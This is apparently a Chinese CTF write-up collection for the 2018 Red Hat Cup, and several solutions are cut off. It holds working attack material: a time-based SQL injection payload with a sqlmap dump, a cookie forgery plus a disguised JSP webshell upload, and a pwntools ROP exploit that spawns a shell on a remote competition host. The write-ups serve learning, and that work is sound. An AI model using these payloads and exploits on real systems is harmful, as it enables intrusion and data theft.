Category - 红帽杯2018

> 比换取那串冗长的flag更有意义的,应该是完成一道题目时候思考的过程,遇到问题时候寻找解决思路的体验。这个过程甚至比获取到最终的`$`更有意思一些。 ## 密码学的坎要过 因为比赛过程中没有完成,总共大概花了超过10个小时的时间才能做出来,期间也遇到了很多坑点和错误的思路,于是我觉得不计成本地把这道题细细分析一下供大家学习。 首先是main函数,流程清晰简单,进入程序有首先进入初始化的一个

登录框的用户名处存在时间盲注

  1. {"username":"jaivy'and sleep(10) and '1'='1","password":"jaivy","__server__cookie__":{}}

于是抓取数据包,加上星号*标记,丢进sqlmap里面跑

  1. POST /login HTTP/1.1
  2. Host: 123.59.134.192:8415
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Content-Type: application/json
  7. Referer: http://123.59.134.192/
  8. Content-Length: 63
  9. Origin: http://123.59.134.192
  10. Connection: close
  11. {"username":"jaivy*","password":"jaivy","__server__cookie__":{}}

使用-r参数等命令
python sqlmap.py -r 1.txt --current-db
可以得到如下信息

  1. [*] data
  2. [*] information_schema
  3. [*] mysql
  4. [*] performance_schema
  5. [*] sys
  6. Database: data
  7. [4 tables]
  8. +-----------------+
  9. | sensitive_visit |
  10. | token_list |
  11. | user_info |
  12. | user_text |
  13. +-----------------+
  14. Database: data
  15. Table: user_info
  16. [4 columns]
  17. +----------------+--------------+
  18. | Column | Type

根据提示,依次在请求头中进行如下修改
Host:www.tmvb.com
Referer:www.dww.com
Accept-Language:ja
然后就能进入到 购物信息查询 界面,有提示要输入订单号的后四位,然后写脚本爆破订单号。获得flag

登录时burp抓包cookie中有admin=0 改为admin=1即可登录进上传页面,然后上传一个jsp大马,抓包,修改Content-Type为image/png,并增加上png的文件头

  1. NG

然后即可把jsp木马上传上去getshell,然后看flag
title

最简单的溢出题目,没有开canary,但是开了nx。
直接用rop解决就好,还是分两步走,第一次rop通过puts来泄露libc上面的地址,算好system/bin/sh的偏移地址,然后返回main函数。
第二次溢出直接调用system(/bin/sh)即可,因为是32位的程序,所以参数全部放到栈上即可。

  1. from pwn import *
  2. context.log_level = 'debug'
  3. context.terminal = ['tmux', 'splitw', '-h']
  4. # p = process('./pwn2')
  5. p = remote('123.59.138.180', 20000)
  6. elf = ELF('./pwn2')
  7. main = 0x80485cb
  8. # stage 1 leak libc
  9. p.recvuntil('name?')
  10. p.send('A'*250 + '\n')
  11. p.recvuntil('occupation?')
  12. p.send('B'*250 + '\n')
  13. p.recvuntil('N]')
  14. p.send('Y')
  15. rop = ROP(elf)
  16. rop.raw(elf.plt['puts'])
  17. rop.raw(main)
  18. rop.raw(elf.got['puts'])
  19. p.sendline('a'*274 + '@'*4+ rop.chain())
  20. p.recvuntil('\n\n')
  21. puts = u32(p.recv(4))
  22. p.info('puts@libc: %x' % puts)
  23. system = puts - 0x24800
  24. bin_sh = puts + 0xf9d4b
  25. p.info('system: %x' % system)
  26. # stage 2
  27. p.recvuntil('name?')
  28. p.send('/bin/sh\x00' + 'A'*242 + '\n')
  29. p.recvuntil('occupation?')
  30. p.send('B'*250 + '\n')
  31. p.recvuntil('N]')
  32. p.send('Y')
  33. rop = ROP(elf)
  34. rop.raw(system)
  35. rop.raw(0xdeadbeef)
  36. rop.raw(0x0

准确来说更像一道ppc而不是crypto,需要根据所给的一个8x8x8的网格恢复64字节的字符串,研究题目就花了好半天,最后很幸运地拿到了一血,也算是有所收获了。

根据题意,将一个64字节的字符串写成8x8的方格,每个字节按8位表示,最终被编码成8x8x8的三维01矩阵,这个空间中写作1的点代表一种光源,会向其自身以及上下左右前后六个方向发射光线,光照强度随距离线性递减,光源的强度被写死为2,就是说,光源自身的brightness是2,离它曼哈顿距离为1的点brightness是1,再往后就没了。brightness是可以叠加的,也就是说,一个点的brightness是有自身以及周围6个点的光照强度的和。512个点的brightness加起来重新编码就是最终发送的字符串。

power是2的话对于解题算是比较简单的,可以直接把所有原来的for循环都展开,便于分析。这次在写代码的过程中也发现了,python真的可以写的十分直观,把一些重复用到的代码封装成函数,那么代码可以写的很像自然语言(其实其他编程语言应该也可以)。

为了便于理解,先把所有的三维空间的点分成三组:一定是非光源(记为dark),一定是光源(记为light),未知(记为unknown),最终的目标就是把所有的unknown的点都标记为dark或light,一开始则是所有的点都是unknown的。先从找trivial cases开始。一开始,有一些点肯定是dark或light的,可以总结出这四条规则:

  1. 对于brightness=8的点,他自身肯定是light,并且他周围6个点肯定是light,这样亮度加起来才能成为8;
  2. 对于brightness=0的点,他自身肯定是dark,并且他周围都是dark,理由同上;
  3. 对于brightness=7的点,他自身肯定是light,周围肯定有一个dark,但不能确定是哪一个点;
  4. 对于brightness=1的点,他自身肯定是dark,但无法确定周围哪一个是light。

其实根据这个发现,一开始就能找出几十个已知点了,然后就可以迭代查找剩下的点,直到所有点都known为止,这里又是另外的四条规则:

  1. 如果自身是dark,且周围的light和

想起之前在群里自称misc垃圾佬,大概指的就是像现在这样捡捡wireshark的垃圾了。这道题也是在包里面找到flag的套路。首先进目录,tree一下,能够看到里面有几个流量包,看过几个php源文件后放弃代码审计的,基本认定flag不在代码里。

一个个流量包过目,果然找到了一条post数据,和not only wireshark一样,把那条post提交的图片拿出来,很普通的一张图,居然有2M,一定有问题。

enter image description here

binwalk一下,有个gif,果断拿出来。

enter image description here

然后是个动图

enter image description here

十分好笑了,被geno手速抓出数字,本来还想了半天怎么截取gif的帧,总之html转义一下就是flag了。

很脑洞的一道题,基本靠各种猜,实验吧套路,很社会了。也是发挥队员们的各种智慧才最终做出来的,交flag的时间是早上七点半以后,差一点就结束比赛了。

题目给了500个txt文件和一个压缩包,文件内容是一样的,压缩包需要密码,最后发现密码是500个txt文件名的其中一个,反正是爆破。

打开压缩包,里面是一个.doc,也被加密了,一开始以为也是在那500个文件名中,想想还是太年轻,直接按穷举字符串,最后密码是4位数字。

打开之后里面是一段文字,是《情系海边之城》的内容,还给了一段很奇怪的字符串:

艾丽斯还告诉了他,她现在住在F5街区F5街道07号幢,并给他邮箱发了新家里的门禁解锁代码:“123654AAA678876303555111AAA77611A321”,希望他能够成为她的新家庭中的一员。

以为这就是flag,交上去发现不对,最后发现是曼彻斯特编码(给了暗示,因为电影的另一个名字就是《海边的曼彻斯特》),去年和前年的国赛都有曼彻斯特编码,今年红帽紧跟在国赛之后举行,没想到连题目也是追随他的步伐。

F5F507是提示,最后解出来的flag有这个部分那就是正确的了。

这次比赛中比较遗憾没有做出来的一道题,赛后看了其他大佬的writeup才明白了怎么做这道题,也记录下来,个人觉得还是比较有质量的一道题了,虽然大佬说是简单题。关于这一点,想到了一个算是很恰当的比喻,就像是做高考题,总有学霸说“这道题一看就知道怎么做了啊”,但是自己在做的时候就是百思不得其解,到最后看了答案又恍然大悟:好像这种解法以前做题就遇到过,虽然当时不会,现在还是不会。这么来看,我好像把这个博客当成错题集来用了。

这道题很简单,就两个操作,1)自定义填充flag,2)获取rsa加密后的flag。后一步操作的N和e都是固定的,没什么好说,主要是填充的操作有漏洞。

首先,flag长度固定为38字节,而用于加密的flag字符串是256字节。填充分为两部分,用户填充的user_pad和代码填充的code_pad,code_pad的过程如下(其中的参数s已经经过user_pad了):

  1. def pad(s):
  2. s += (256 - len(s)) * chr(256 - len(s))
  3. ret = ['\x00' for _ in range(256)]
  4. for index, pos in enumerate(s_box):
  5. ret[pos] = s[index]
  6. return ''.join(ret)

其中的s_box是AES的S盒,完全照搬,但实际上的作用是重排。过程就是,在s后面填充字符chr(256-len(s))以保证长度为256,再经过重排输出。填充的字符之所以那么奇怪,是为了之后恢复时能够去掉这些填充位:

  1. def unpad(s):
  2. ret = ['\x00' for _ in range(256)]
  3. for index, pos in enumerate(invs_box):
  4. ret[pos] = s[index]
  5. return ''.join(ret[0:-ord(ret[-1])])

最后一行,通过ret[-1]就能够知道原来的长度到哪里,就能够截断并输出不带code_pad的字符串,本来是个很聪明的做法,但问题也恰恰出现在这里。根据pad函数,如果